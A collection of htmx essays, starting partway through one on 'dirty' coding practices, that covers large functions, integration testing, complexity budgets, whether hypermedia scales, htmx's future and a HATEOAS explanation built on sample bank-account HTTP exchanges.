As an example of a "crux" function, consider the [`issueAjaxRequest()`](https://github.com/bigskysoftware/htmx/blob/7fc1d61b4fdbca486263eda79c3f31feb10af783/src/htmx.js#L4057)
in [htmx](https://htmx.org).  This function is nearly 400 lines long!

Definitely not clean!

However, in this function there is a lot of context to keep around, and it lays out a series of specific steps that must
proceed in a fairly linear manner.  There isn't any reuse to be found by splitting it up into other functions and I
think it would hurt the clarity (and also importantly for me, the debuggability) of the function if I did so.

### Important Things Should Be Big

A big reason I like big functions is that I think that in software, all other things being equal, important things should 
be big, whereas unimportant things should be little.

Consider a visual representation of "Clean" code versus "Dirty" code:

<div style="padding: 1em">

![clean-v-dirty.png](/img/clean-v-dirty.png)

</div>

When you split your functions into many equally sized, small implementations you end up smearing the important parts of your
implementation around your module, even if they are expressed perfectly well in a larger function.

Everything ends up looking the same: a function signature definition, followed by an if statement or a for loop, maybe a function 
call or two, and a return.

If you allow your important "crux" functions to be larger it is easier to pick them out from the sea of functions, they 
are obviously important: just look at them, they are big!

There are also fewer functions in general in all categories, since much of the code has been merged into larger functions.
Fewer lines of code are dedicated to particular type signatures (which can change over time) and it easier to keep the
important and maybe even the medium-important function names and signatures in your head.  You also tend to have fewer 
LOC overall when you do this.

I prefer coming into a new "dirty" code module: I will be able to understand it more quickly and will remember the
important parts more easily.

### Empirical Evidence

What about the empirical (dread word in software!) evidence for the ideal function size?

In [Chapter 7, Section 4](https://flylib.com/books/en/2.823.1.64/1/) of [Code Complete](https://en.wikipedia.org/wiki/Code_Complete),
Steve McConnell lays out some evidence for and against longer functions.  The results are mixed, but many
of the studies he cites show better errors-per-line metrics for *larger*, rather than smaller, functions.

There are [newer studies](https://arxiv.org/pdf/2205.01842#:~:text=In%20this%20paper%20we%20examine,also%20decreases%20overall%20maintenance%20efforts) 
as well that argue for smaller functions (<24 LOC) but that focus on what they call "change-proneness".  When it comes to
bugs, they say:

> Correlations between SLOC and bug-proneness (i.e., #BuggyCommits) are significantly lower than the four 
> change-proneness indicators.

And, of course, longer functions have more code in them, so the correlation of bug-proneness _per line of code_ will be 
even lower.

### Real World Examples

How about some examples from real world, complex and successful software?

Consider the [`sqlite3CodeRhsOfIn()`](https://github.com/sqlite/sqlite/blob/70989b6f5923a732b0caee881bd7c3ff8859e9c5/src/expr.c#L3502)
function in [SQLite](https://sqlite.com/), a popular open source database.  It looks to be > 200LOC, and a walk around the SQLite
codebase will furnish many other examples of large functions.  SQLite is noted for being extremely high quality and
very well maintained.

Or consider the [`ChromeContentRendererClient::RenderFrameCreated()`](https://github.com/chromium/chromium/blob/6fdb8fdff0ba83db148ff2f87105bc95e5a4ceec/chrome/renderer/chrome_content_renderer_client.cc#L591)
function in the [Google Chrome](https://www.google.com/chrome/index.html) Web Browser.  Also looks to be over 200 LOC.  Again, poking around the codebase
will give you plenty of other long functions to look at.  Chrome is solving one of the hardest problems in software:
being a good general purpose hypermedia client.  And yet their code doesn't look very "clean" to me.

Next, consider the [`kvstoreScan()`](https://github.com/redis/redis/blob/3fcddfb61f903d7112da186cba8b1c93a99dc87f/src/kvstore.c#L359)
function in [Redis](https://redis.io/).  Smaller, on the order of 40LOC, but still far larger than Clean Code would
suggest.  A quick scan through the Redis codebase will furnish many other "dirty" examples.

These are all C-based projects, so maybe the rule of small functions only applies to object-oriented languages, like
Java?

OK, take a look at the [`update()`](https://github.com/JetBrains/intellij-community/blob/8c6cc1579ac358451ba2c5b8a54853249fdc5451/java/compiler/impl/src/com/intellij/compiler/actions/CompileAction.java#L60)
function in the `CompilerAction` class of [IntelliJ](https://www.jetbrains.com/idea/), which is roughly 90LOC.  Again, 
poking around their codebase will reveal many other large functions well over 50LOC.

SQLite, Chrome, Redis & IntelliJ...

These are important, complicated, successful & well maintained pieces of software, and yet 
we can find large functions in all of them.  

Now, I don't want to imply that any of the engineers on these projects agree with this essay in any way, but I think 
that we have some fairly good evidence that longer functions are OK in software projects.  It seems safe to say that
breaking up functions just to keep them small is not necessary.  Of course you can consider doing so for other reasons
such as code reuse, but being small just for small's sake seems unnecessary.

## I Prefer Integration Tests to Unit Tests

I am a huge fan of testing and highly recommend testing software as a key component of building maintainable systems.

htmx itself is only possible because we have a good [test suite](https://htmx.org/test) that helps us ensure
that the library stays stable as we work on it. 

If you take a look at the [test suite](https://github.com/bigskysoftware/htmx/blob/master/test/core/ajax.js) one thing
you might notice is the relative lack of [Unit Tests](https://en.wikipedia.org/wiki/Unit_testing).  We have very few
test that directly call functions on the htmx object.  Instead, the tests are mostly 
[Integration Tests](https://en.wikipedia.org/wiki/Integration_testing): they set up a particular DOM configuration
with some htmx attributes and then, for example, click a button and verify some things about the state of the DOM afterward.

This is in contrast with Clean Code's recommendation of extensive _unit testing_, coupled with Test-First Development:

> **First Law** You may not write production code until you have written a failing unit test.
> **Second Law** You may not write more of a unit test than is sufficient to fail, and not compiling is failing.
> **Third** Law You may not write more production code than is sufficient to pass the currently failing test.
> 
> --[Clean Code](https://www.goodreads.com/book/show/3735293-clean-code)

I generally avoid doing this sort of thing, especially early on in projects.  Early on you often have no
idea what the right abstractions for your domain are, and you need to try a few different approaches to figure out what
you are doing.  If you adopt the test first approach you end up with a bunch of tests that are going to break as you 
explore the problem space, trying to find the right abstractions.  

Further, unit testing encourages the exhaustive testing of every single function you write, so you often end up having more 
tests that are tied to a particular implementation of things, rather than the high level API or conceptual ideas of the
module of code.

Of course, you can and should refactor your tests as you change things, but the reality is that a large and growing test 
suite takes on its own mass and momentum in a project, especially as other engineers join, making changes more and more
difficult as they are added.  You end up creating things like test helpers, mocks, etc. for your testing code.

All that code and complexity tends over time to lock you in to a particular implementation.

### Dirty Testing

My preferred approach in many projects is to do some unit testing, but not a ton, early on in the project and wait 
until the core APIs and concepts of a module have crystallized.  

At that point I then test the API exhaustively with integrations tests.

In my experience, these integration tests are much more useful than unit tests, because they remain stable and useful 
even as you change the implementation around.  They aren't as tied to the current codebase, but rather express higher level
invariants that survive refactors much more readily.

I have also found that once you have a few higher-level integration tests, you can then do Test-Driven development, but
at the higher level: you don't think about units of code, but rather the API you want to achieve, write the tests for that
API and then implement it however you see fit.

So, I think you should hold off on committing to a large test suite until later in the project, and that test suite
should be done at a higher level than Test-First Development suggests.  

Generally, if I can write a higher-level integration test 
to demonstrate a bug or feature I will try to do so, with the hope that the higher-level test will have a longer shelf
life for the project.

## I Prefer To Minimize Classes

A final coding strategy that I use is that I generally strive to minimize the number of classes/interfaces/concepts in 
my projects.

Clean Code does not explicitly say that you should maximize the # of classes in your system, but many recommendations it
makes tend to lead to this outcome:

> * "Prefer Polymorphism to If/Else or Switch/Case"
> * "The first rule of classes is that they should be small. The second rule of classes is that they should be smaller 
>   than that."
> * "The Single Responsibility Principle (SRP) states that a class or module should have one, and only one, reason to 
>    change."
> * "The first thing you might notice is that the program got a lot longer. It went from a little over one page to 
>    nearly three pages in length."

As with functions, I don't think classes should be particularly small, or that you should prefer polymorphism to a 
simple (or even a long, janky) if/else statement, or that a given module or class should only have one reason to change.

And I think the last sentence here is a good hint why: you tend to end up with a lot more code which may be of little 
real benefit to the system.

### "God" Objects

You will often hear people criticise the idea of ["God objects"](https://en.wikipedia.org/wiki/God_object) and I
can of course understand where this criticism comes from: an incoherent class or module with a morass of unrelated 
functions is obviously a bad thing.

However, I think that fear of "God objects" can tend to lead to an opposite problem: overly-decomposed software.

To balance out this fear, let's look at one of my favorite software packages, 
[Active Record](https://guides.rubyonrails.org/active_record_basics.html).

Active Record provides a way for you to map ruby object to a database, it is what is called an 
[Object/Relational Mapping](https://en.wikipedia.org/wiki/Object%E2%80%93relational_mapping) tool.

And it does a great job of that, in my opinion: it makes the easy stuff easy, 
the medium stuff easy enough, and when push comes to shove you can kick out to raw SQL without much fuss.

(This is a great example of what I call ["layering"](https://grugbrain.dev/#grug-on-apis) an API.)

But that's not all the Active Record objects are good at: they also provide excellent functionality for building HTML
in the [view layer](https://guides.rubyonrails.org/action_view_overview.html) of Rails.  They don't include *HTML specific* functionality, but they do offer functionality 
that is useful on the view side, such as providing an API to retrieve error messages, even at the field level.

When you are writing Ruby on Rails applications you simply pass your Active Record instances out to the view/templates.

Compare this with a more heavily factored implementation, where validation errors are handled as their own "concern". 
Now you need to pass (or at least access) two different things in order to properly generate your HTML.  It's not 
uncommon in the Java community to adopt the [DTO](https://www.baeldung.com/java-dto-pattern) pattern and have another set of objects entirely
distinct from the ORM layer that is passed out to the view.

I like the Active Record approach.  It may not be [separating concerns](https://en.wikipedia.org/wiki/Separation_of_concerns)
when looked at from a purist perspective, but *my* concern is often getting data from a database into an HTML document,
and Active Record does that job admirably without me needing to deal with a bunch of other objects along the way.

This helps me minimize the total number of objects I need to deal with in the system.

Will some functionality creep into a model that is maybe a bit "view" flavored?

Sure, but that's not the end of the world, and it reduces the number
of layers and concepts I have to deal with.  Having one class that handles retrieving data from the database, holding
domain logic and serves as a vessel for presenting information to the view layer simplifies things tremendously for me.

## Conclusion

I've given three examples of my codin' dirty approach:

* I think (some) big functions are good, actually
* I prefer integration tests to unit tests
* I like to keep my class/interface/concept count down

I'm presenting this, again, not to convince _you_ to code the way _I_ code, or to suggest that the way I code is "optimal" in 
any way.

Rather it is to give you, and especially you younger developers out there, a sense that you don't *have* to write code
the way that many thought leaders suggest in order to have a successful software career.

You shouldn't be intimidated if someone calls your code "dirty": lots of very successful software has been written that
way and, if you focus on the [core ideas](https://en.wikipedia.org/wiki/Algorithms_%2B_Data_Structures_%3D_Programs) 
of [software engineering](https://www.web.stanford.edu/~ouster/cgi-bin/book.php), you will likely be successful 
in spite of how "dirty" it is, and maybe even because of it!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/complexity-budget.md

+++
title = "Complexity Budget"
description = """\
  In this essay, Carson Gross explores the concept of a complexity budget in software development. He discusses how \
  managing complexity across applications is a critical responsibility for architects and developers, while examining \
  strategies for effective complexity management and the challenges that arise when attempting to reduce it."""
date = 2020-10-29
updated = 2024-01-21
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Every software project involves managing a complexity budget.  

A complexity budget can be defined as:

> An explicit or implicit allocation of complexity across the entire application

"Complexity" here is defined subjectively (rather than [formally](https://en.wikipedia.org/wiki/Programming_complexity))
and in [Stewartian Terms](https://en.wikipedia.org/wiki/I_know_it_when_I_see_it): "I know it when I see it."

Or, more specifically to software development: "I know it when I *feel* it."

One of the primary jobs of an application architect is to manage a projects complexity budget:

* Decide if a given feature is "worth it"
* Decide if a given implementation is "worth it"
* Add appropriate system boundaries to limit complexity between components
* And so on

An infuriating aspect of complexity is that that attempts to address it can, in fact, add more complexity.

A good example of this from experience was when a company I worked at added [OSGi](https://en.wikipedia.org/wiki/OSGi) to the system to manage the
increasing complexity of the project.  It seemed like a reasonable approach, 
it offered a sophisticated [module](https://www.osgi.org/resources/what-is-osgi/) system,
it was recommended by a newly hired architect, and it even says on the "What is OSGI page":

> OSGi significantly reduces complexity in almost all aspects of development: code is easier to write and test, reuse is
> increased, build systems become significantly simpler, deployment is more manageable, bugs are detected early, and 
> the runtime provides an enormous insight into what is running.

What's not to like?

Unfortunately, adding OSGi to that project effectively ground the entire project to a halt: it took a few of our best
engineers out of normal application development for over a year, and when they were done the codebase was even more
difficult to work with than when they started.  Feature velocity, already teetering, collapsed.

This is not to say OSGi is universally bad.  But, in this case, rather than boosting our development teams productivity,
it effectively ended it.

A good software architect is someone who manages the software budget of their project effectively, either explicitly or 
implicitly.

## Complexity Growth

My sense, admittedly without hard evidence, is that Stewartian Application Complexity grows roughly geometrically with 
the size of an application.  Proper [factoring](https://en.wikipedia.org/wiki/Decomposition_(computer_science)) by 
experienced developers can hold this curve down for quite some time.

However, this doesn't change the fact that, somewhere out there, there is a Complexity Wall lurking.

And, if you aren't careful, you will run headlong into it and grind your development velocity to a halt.

I have had multiple experiences with this: one day, inexplicably, development on a system that I was working on went 
from feeling "large, but manageable" to "this is impossible to deal with".

## Spending Your Complexity Budget Wisely

Here are some tools for managing your complexity budget:

1. Foremost: understanding that there *is* a complexity budget that needs to be managed
1. Focus your "complexity spend" on the areas where your application is adding value and/or differentiates itself
1. Saying "No" - probably the easiest, best and, also, hardest tool to use in your battle with complexity
1. Embracing [KISS](https://en.wikipedia.org/wiki/KISS_principle), even if it means admitting you are stupid (Note that it's often very good for an organization if the senior developers can admit they are fallible)
1. Proper factoring of components - this is an art: Too many components and your complexity explodes.  Too few... same. 
1. Choosing the proper balance of expressiveness and restrictions for a component

Unfortunately, experience shows that managing Stewartian Complexity is a subjective endeavor and that many talented and
experience developers will disagree on the proper course of action at a given decision point.

Nonetheless, by making the concept of a complexity budget explicit in your software project, these conversations can be
more productive and ultimately lead to better software outcomes.

## A Final Note

Almost all mature applications are complex.  

Finding a new codebase "complex" is *not* an excuse for tearing everything apart or aggressive refactoring.  We must always bear in mind [Chesterton's Fence](https://fs.blog/2020/03/chestertons-fence/).

If an application is functioning well (or even reasonably) then we should assume that the complexity budget was well
(or at least reasonably) managed.

And we must always remember that, with unfortunate frequency, big attempts at addressing complexity in existing, large 
applications often fail or, sadly, make things worse.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/does-hypermedia-scale.md

+++
title = "Does Hypermedia Scale?"
description = """\
  In this essay, Carson Gross examines whether Hypermedia-Driven Applications (HDAs) can effectively scale across \
  different dimensions of software development, including system nodes, application performance, feature count, \
  feature complexity, and team size. The analysis explores both the strengths and limitations of hypermedia in each \
  context, ultimately demonstrating that HDAs can scale well in most scenarios while acknowledging specific challenges \
  with complex client-side features."""
date = 2023-11-06
updated = 2023-11-06
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

One objection that we sometimes hear to htmx and hypermedia is some variation of the following:

> Well, it might work well for something small, but it won't scale.
 
It is always dangerous to provoke us with essay-fodder and so lets dig into this claim a bit and see if we can
shed some light on whether [Hypermedia-Driven Applications](@/essays/hypermedia-driven-applications.md) (HDAs) can scale.

## Scaling

First of all, let's define the term "scaling" and then the contexts that word can be used in development. In a software
context, scaling typically means the ability of the software to handle "larger" things.  Those things can be:

* More nodes in a general [system](https://hypermedia.systems)
* More user requests (scaling your individual application's performance)
* More features  (scaling your codebase) 
* More _complex_ features 
* More developers (scaling your team size)

Each of these sense of the word "scaling" demand their own analysis with respect to HDAs.

## Scaling Nodes In General

Although this isn't of much interest to individual developers making decisions about their own applications, it is worth
stating that The Web has scaled _incredibly well_ as a distributed networking system.  It is the most successful
distributed system that I am aware of, in any event.

This is not necessarily of interest to an _individual_ application developer, but it sets the proper tone: hypermedia
can scale.

## Scaling Application Performance

Does hypermedia scale well with _performance_?  To answer this question, lets first look at some of the characteristics 
of performance-scalable software.  While there is no authoritative source for these characteristics, most engineers
with experience scaling software will agree that most of the items on this list are at least helpful:

* Software should be _stateless_
* Software should support _horizontal scaling_
* Features in the software should be _independent_
* The performance of the system should be _observable_
* The software should utilize caching

It turns out, happily, that properly designed hypermedia systems can have all these characteristics.

Statelessness is [a constraint of the REST-ful architecture](https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_3)
that Roy Fielding created to describe the web.  In practice, many hypermedia-driven applications use a _session cookie_
to manage a small amount of state on the server side, but this is a well-understood technique that hasn't proven fatal
in scaling applications.

Horizontal scaling has a long history in hypermedia-driven applications and dovetails with the stateless nature of most 
hypermedia-driven applications: early PAAS vendors like [heroku](https://www.heroku.com/) (of blessed memory) offered 
easy horizontal scaling of rails-driven applications, for example.

Feature independence is another strength of HDAs.  In HDAs, end-points for screens tend to be
[_decoupled_](@/essays/two-approaches-to-decoupling.md) from one another in a way that general JSON APIs are not.  This
means that those endpoints can be monitored, evolved and be tuned independently of one another. We have a long history of 
tuning these sorts of endpoints to create sub-100 millisecond response times (e.g. minimizing database queries for a
given end-point by SQL tuning.)

Building on the independence of end-points to support various views, platform performance is easy to monitor and 
understand.  Rather than a generalized JSON API that can be accessed in multiple ways across your application, you have
UI specific end-points that construct hypermedia for specific views.  Determining what is causing a performance issue
becomes much easier when views are constructed on the server-side and requests are driven through simple hypermedia
exchanges.

Finally, web applications have a long and storied history of [caching](https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_4).
HTTP offers caching at the browser, controlled by headers.  Mature server side frameworks like Rails offer sophisticated
caching at the controller layer.  Caching is second nature for HDAs.

All of these combine to make HDAs extremely scalable from a performance perspective.  Battle-tested performance techniques
are available for scaling your HDA as user load increases.

Does the HDA approach push more computation onto the server side?  To an extent, this is true.  However, the difference
between the JSON representation for a given resource and the HTML representation for it is not nearly as large as some
people think, particularly if you don't include the header and footer information in HTML requests, as is common in
htmx-based applications.  Network latency and datastore-access typically dominates request time anyway, and the ability
to use SQL (or a similar server-side query language) gives you an opportunity to optimize that aspect of the request.

HDAs also typically have the optimal ["one request per view"](https://twitter.com/htmx_org/status/1721750496086798378) 
naturally since, well, in HDAs the requests *are* your views.

## Scaling With # Of Features

Because HDAs tend to have independent end-points driven by UI needs, rather than a general JSON data API, scaling with 
the number of features is typically very easy.  Assuming a reasonable Model-View-Controller split on the server side, 
Controllers and Models tend to be very independent of one another.  When features truly overlap, having the features 
developed and tested on the server-side provides a more controlled and testable environment.

Views can achieve reuse via server-side includes, found in nearly all server-side templating libraries, or be maintained
separately in order to avoid interdependencies.

All of this is to say that, with reasonable application architecture, HDAs often scale _very well_ with the # of 
features in an application, especially when those features are inherently decoupled from one another.

## Scaling With Complexity Of Features

Scaling with the # of features is at some level akin to _horizontal scaling_: so long as they are relatively independent
they will scale fine (and if they aren't, HDAs will still often scale as well as or better than other options.)

But what about _deep_ features: features that are complex _in themselves_?

Here we must split the deep features into two categories:

* Server-side deep features
* Client-side deep features

For deep server-side features, HDAs are often a great choice.  A good example of this is something like an AI chat-bot:
this is a very sophisticated server-side feature, but it interacts with the user via a simple textual interface.  Many
[AI chat-bots](https://www.sliceofexperiments.com/p/building-a-personalized-ask-me-anything) have been built using 
htmx, with people remarking on how simple it is.

For deep _client-side_ features, HDAs are sometimes _not_ a great choice.  We outline details on this in our essay on
[when to choose hypermedia](@/essays/when-to-use-hypermedia.md).  To summarize that article: if your UI requires responding to a large number of events
quickly (e.g. dragging a map-view) or has significant inter-UI dependencies that cannot be updated in a bulk hypermedia
exchange (e.g. a spreadsheet application), the hypermedia approach isn't going to work well

However, we would note two things:

* It is often possible to _wrap_ more complex front-end behavior within an HDA application, integrating via events. 
* Sometimes it is better to [say "No"](https://grugbrain.dev/#grug-on-saying-no) to complex front-end features, or at
  least consider if a simpler implementation is acceptable that doesn't entail the additional complexity typically 
  found with complex front end frameworks.

## Scaling The Team

The final sense of scaling we will consider is the idea of scaling a development team.  Here we must rely on more
subjective and anecdotal measures, unfortunately.

It is our experience (and the experience of others) that HDAs seem to allow you to accomplish more with _fewer_ developers.
They also eliminate the front-end/back-end split, and the communication friction of this split,
since developers become responsible for entire features.  Some people _like_ the front-end/back-end split and feel
this allows teams to scale better by making the teams independent.

We do not agree.  We think that the front-end and back-end of most web applications are _inherently coupled_ and, therefore,
the best approach is to adopt an architecture that accepts this coupling and is designed to handle change well, which
the hypermedia approach is (via the uniform interface.)

Can HDAs scale to teams of 100 or more?  This we can't answer because we haven't seen this scenario.  But it can certainly
scale into the 10s.  We can _imagine_ the approach scaling much higher (it did during the web 1.0 era, after all) but
at this point we are speculating.

We prefer smaller teams anyway.  10 developers should be enough for any application.

## Conclusion

So, taking these all together, we have the following conclusion regarding scaling Hypermedia-Driven Applications:

HDAs can scale very well with respect to performance and feature count.  They *can* scale with feature complexity,
with caveats.  And, finally, the jury is still out on scaling with team size, although we can say that the HDA approach
tends to keep teams smaller and eliminate inter-team communication friction.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/future.md

+++
title = "The future of htmx"
description = """\
  In this essay, Carson Gross and Alex Petros discuss htmx's future direction and philosophy. They explain how the \
  project aims to emulate jQuery's success through API stability, minimal feature additions, and quarterly releases \
  while continuing to promote hypermedia-driven development and support the broader web development ecosystem."""
date = 2025-01-01
updated = 2025-01-01
authors = ["Carson Gross", "Alex Petros"]
[taxonomies]
tag = ["posts"]
+++

## In The Beginning...

htmx began life as [intercooler.js](https://intercoolerjs.org), a library built around jQuery that added behavior based
on HTML attributes. 

For developers who are not familiar with it, [jQuery](https://jquery.com/) is a venerable JavaScript
library that made writing cross-platform JavaScript a lot easier during a time when browser implementations were very
inconsistent, and JavaScript didn’t have many of the convenient APIs and features that it does now.

Today many web developers consider jQuery to be “legacy software.” With all due respect to this perspective, jQuery is 
currently used on [75% of all public websites](https://w3techs.com/technologies/overview/javascript_library), a number that dwarfs all other JavaScript tools.

Why has jQuery remained so ubiquitous?

Here are three technical reasons we believe contribute to its ongoing success:

* It is very easy to add to a project (just a single, dependency-free link)
* It has maintained a very consistent API, remaining largely backwards compatible over its life (intercooler.js works
  with jQuery v1, v2 and v3)
* As a library, you can use as much or as little of it as you like: it stays out of the way otherwise and doesn’t
  dictate the structure of your application

## htmx is the New jQuery

Now, that’s a ridiculous (and arrogant) statement to make, of course, but it is an *ideal* that we on the htmx team are
striving for.

In particular, we want to emulate these technical characteristics of jQuery that make it such a low-cost, high-value
addition to the toolkits of web developers. Alex has
discussed [“Building The 100 Year Web Service”](https://www.youtube.com/watch?v=lASLZ9TgXyc) and we want htmx to be a
useful tool for exactly that use case.

Websites that are built with jQuery stay online for a very long time, and websites built with htmx should be capable of
the same (or better).

Going forward, htmx will be developed with its *existing* users in mind.

If you are an existing user of htmx—or are thinking about becoming one—here’s what that means.

### Stability as a Feature

We are going to work to ensure that htmx is extremely stable in both API & implementation. This means accepting and
documenting the [quirks](https://htmx.org/quirks/) of the current implementation.

Someone upgrading htmx (even from 1.x to 2.x) should expect things to continue working as before.

Where appropriate, we may add better configuration options, but we won’t change defaults.

### No New Features as a Feature

We are going to be increasingly inclined to not accept new proposed features in the library core.

People shouldn’t feel pressure to upgrade htmx over time unless there are specific bugs that they want fixed, and they
should feel comfortable that the htmx that they write in 2025 will look very similar to htmx they write in 2035 and
beyond.

We will consider new core features when new browser features become available, for example we
are [already using](https://htmx.org/examples/move-before/) the experimental `moveBefore()` API on supported browsers.

However, we expect most new functionality to be explored and delivered via the
htmx [extensions API](https://htmx.org/extensions/), and will work to make the extensions API more capable where
appropriate.

### Quarterly Releases

Our release schedule is going to be roughly quarterly going forward.

There will be no death march upgrades associated with htmx, and there is no reason to monitor htmx releases for major
functionality changes, just like with jQuery. If htmx 1.x is working fine for you, there is no reason to feel like you
need to move to 2.x.

## Promoting Hypermedia

htmx does not aim to be a total solution for building web applications and services:
it [generalizes hypermedia controls](https://dl.acm.org/doi/pdf/10.1145/3648188.3675127), and that’s roughly about it.

This means that a very important way to improve htmx — and one with lots of work remaining — is by helping improve the tools
and techniques that people use *in conjunction* with htmx.

Doing so makes htmx dramatically more useful _without_ any changes to htmx itself.

### Supporting Supplemental Tools

While htmx gives you a few new tools in your HTML, it has no opinions about other important aspects of building your
websites. A flagship feature of htmx is that it does not dictate what backend or database you use.

htmx is [compatible with lots of backends](https://htmx.org/essays/hypermedia-on-whatever-youd-like/), and we want to
help make hypermedia-driven development work better for all of them.

One part of the hypermedia ecosystem that htmx has already helped improve is template engines. When
we [first wrote](https://htmx.org/essays/template-fragments/) about how “template fragments” make defining partial page
replacements much simpler, they were a relatively rare feature in template engines.

Not only are fragments much more common now, that essay
is [frequently](https://github.com/mitsuhiko/minijinja/issues/260) [cited](https://github.com/sponsfreixes/jinja2-fragments)
as an inspiration for building the feature.

There are many other ways that the experience of writing hypermedia-based applications can be improved, and we will
remain dedicated to identifying and promoting those efforts.

### Writing, Research, and Standardization

Although htmx will not be changing dramatically going forward, we will continue energetically evangelizing the ideas of
hypermedia.

In particular, we are trying to push [the ideas](https://dl.acm.org/doi/pdf/10.1145/3648188.3675127) of htmx into the
HTML standard itself, via the [Triptych project](https://alexanderpetros.com/triptych/). In an ideal world, htmx
functionality disappears into the web platform itself.

htmx code written *today* will continue working forever, of course, but in the very long run perhaps there will be no
need to include the library to achieve [similar UI patterns](https://htmx.org/examples) via hypermedia.

## Intercooler Was Right

At the [end of the intercooler docs](https://intercoolerjs.org/docs#philosophy), we said this:

> Many javascript projects are updated at a dizzying pace. Intercooler is not.
>
> This is not because it is dead, but rather because it is (mostly) right: the basic idea is right, and the implementation
at least right enough.
>
> This means there will not be constant activity and churn on the project, but rather
a [stewardship](https://en.wikipedia.org/wiki/Stewardship_\(theology\)) relationship: the main goal now is to not screw
it up. The documentation will be improved, tests will be added, small new declarative features will be added around the
edges, but there will be no massive rewrite or constant updating. This is in contrast with the software industry in
general and the front end world in particular, which has comical levels of churn.
>
> Intercooler is a sturdy, reliable tool for web development.

Leaving aside [the snark at the end of the third paragraph](https://www.youtube.com/watch?v=zGyAWH5btwY), this thinking
is very much applicable to htmx. In fact, perhaps even more so since htmx is a standalone piece of software, benefiting
from the experiences (and mistakes) of intercooler.js.

We hope to see htmx, in its own small way, join the likes of giants like jQuery as a sturdy and reliable tool for
building your 100 year web services.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/hateoas.md

+++
title = "HATEOAS"
description = """\
  In this essay, Carson Gross explores HATEOAS (Hypermedia as the Engine of Application State), explaining how it \
  enables REST APIs through hypermedia responses and contrasting it with modern JSON-based APIs. Using clear HTML \
  examples, Carson demonstrates how HATEOAS allows clients to discover available actions dynamically through \
  hypermedia rather than requiring prior knowledge of the API interface."""
date = 2021-10-16
updated = 2022-02-06
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
[extra]
show_title = false
show_author = false
+++

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lexend+Zetta:wght@900&display=swap&text=HATEOAS" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Lexend+Zetta:wght@900&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Source+Serif+Pro:ital,wght@0,400;0,600;0,700;1,400;1,700&display=swap" rel="stylesheet">

<h1>HATEOAS</h1>

<section>

## Preface: _HATEOAS &mdash; An Alternative Explanation_

This page is a reworking on the [Wikipedia Entry on HATEOAS](https://en.wikipedia.org/wiki/HATEOAS), which uses JSON.
Here we use HTML to explain the concept, and contrast it with JSON APIs.  It is a more opinionated explanation of the
concept than would be appropriate for Wikipedia, but it is more correct in our opinion.

</section>

Hypermedia as the Engine of Application State (HATEOAS) is a constraint of the [REST application architecture](https://en.wikipedia.org/wiki/Representational_state_transfer) that distinguishes it from other network application architectures.

With HATEOAS, a client interacts with a network application whose application servers provide information dynamically through [*hypermedia*](https://en.wikipedia.org/wiki/Hypermedia). A REST client needs little to no prior knowledge about how to interact with an application or server beyond a generic understanding of hypermedia.

By contrast, today JSON-based web clients typically interact through a fixed interface shared through documentation via a tool
such as [swagger](https://swagger.io/).

The restrictions imposed by HATEOAS decouples client and server. This enables server functionality to evolve independently.

## Example

A user-agent that implements HTTP makes a HTTP request of a REST end point through a simple URL. All subsequent requests the user-agent may make are discovered within the hypermedia responses to each request. The media types used for these representations, and the link relations they may contain, are standardized. The client transitions through application states by selecting from links within a hypermedia representation or by manipulating the representation in other ways afforded by its media type.

In this way, RESTful interaction is driven by hypermedia, rather than out-of-band information.

A concrete example will clarify this.  Consider this GET request, issued by a web browser, which fetches a bank account resource:

```txt
GET /accounts/12345 HTTP/1.1
Host: bank.example.com
```
The server responds with a hypermedia representation using HTML:

```html
HTTP/1.1 200 OK

<html>
  <body>
    <div>Account number: 12345</div>
    <div>Balance: $100.00 USD</div>
    <div>Links:
        <a href="/accounts/12345/deposits">deposits</a>
        <a href="/accounts/12345/withdrawals">withdrawals</a>
        <a href="/accounts/12345/transfers">transfers</a>
        <a href="/accounts/12345/close-requests">close-requests</a>
    </div>
  <body>
</html>
```

The response contains following possible follow-up actions: navigate to a UI to enter a deposit, withdrawal, transfer, or to close request (to close the account).

Consider the situation at a later point, after the account has been overdrawn.  Now, a different set of links are available due to this
account status change.

```html
HTTP/1.1 200 OK

<html>
  <body>
    <div>Account number: 12345</div>
    <div>Balance: -$50.00 USD</div>
    <div>Links:
        <a href="/accounts/12345/deposits">deposits</a>
    </div>
  <body>
</html>
```

Only one link is available: to deposit more money. In the accounts current overdrawn state the other actions are not available, and
this fact is reflected internally in *the hypermedia*.  The web browser does not know about the concept of an overdrawn account or,
indeed, even what an account is.  It simply knows how to present hypermedia representations to a user.

Hence we have the notion of the Hypermedia being the Engine of Application State. What actions are possible varies as the
state of the resource varies and this information is encoded in the hypermedia.

Contrast the HTML response above with a typical JSON API which, instead, might return a representation of the account with a
status field:

```json
HTTP/1.1 200 OK

{
    "account": {
        "account_number": 12345,
        "balance": {
            "currency": "usd",
            "value": -50.00
        },
        "status": "overdrawn"
    }
}
```

Here we can see that the client must know specifically what the value of the `status` field means and how it might affect
the rendering of a user interface, and what actions can be taken with it.  The client must also know what URLs must be used
for manipulation of this resource since they are not encoded in the response.  This would typically be achieved by
consulting documentation for the JSON API.

It is this requirement of out-of-band information that distinguishes this JSON API from a RESTful API that implements
HATEOAS.

This shows the core difference between the two approaches: in the RESTful, HATEOAS HTML representation, all operations are encoded
directly in the response.  In the JSON API example, out-of-band information is necessary for processing and working with
the remote resource.

## Origins

The HATEOAS constraint is an essential part of the ["uniform interface"](https://en.wikipedia.org/wiki/Representational_state_transfer#Uniform_interface) feature of REST, as defined in Roy Fielding's [doctoral dissertation](https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm). Fielding's dissertation was a discussion of the
early web architecture, consisting mainly of HTML and HTTP at the time.

